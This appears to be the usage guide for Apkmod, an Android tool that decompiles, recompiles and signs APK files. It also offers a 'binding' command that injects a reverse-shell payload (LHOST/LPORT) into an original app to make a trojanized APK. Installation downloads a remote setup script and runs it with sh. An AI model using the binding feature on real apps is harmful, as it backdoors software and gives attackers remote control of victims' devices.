- First goto home directory
cd $HOME
- Get the setup script
wget https://raw.githubusercontent.com/Hax4us/Apkmod/master/setup.sh
- Execute the script
sh setup.sh
- Now you can execute command
apkmod
- For decompiling
apkmod -d /path/to/inapp.apk -o /path/to/outdirectory
. It will decompile inapp.apk into outdirectory folder. - For recompiling
apkmod -r /path/to/indirectory -o /path/to/outapp.apk
. It will recompile indirectory ( where decompiled files are exists ) into outapp.apk. - For signing
apkmod -s /path/to/unsignedapp.apk -o /path/to/signedapp.apk
. It will sign unsignedapp.apk and saves output ( signed app ) to signedapp.apk. - For binding
apkmod -b /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444
. It will bind payload with originalApp.apk and saves final binded app to binded.apk. - Now you can use a optional option
-a
to use aapt2 for binding and recompiling. Why aapt2 ? Because some apps can't recompile with aapt but aapt2 can do it. But I can't drop aapt support because some apps can't recompile with aapt2 so first recompile or bind without aapt2 (-a
) then if you failed then try with aapt2. For exampleapkmod -a -b /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444
.
Size | Apkmod | Third party tools |
---|---|---|
after installation | Around 100 MB | Around 700-900 MB |
Because it has Alpine instead of Ubuntu, kali, parrot or other glibc based distros.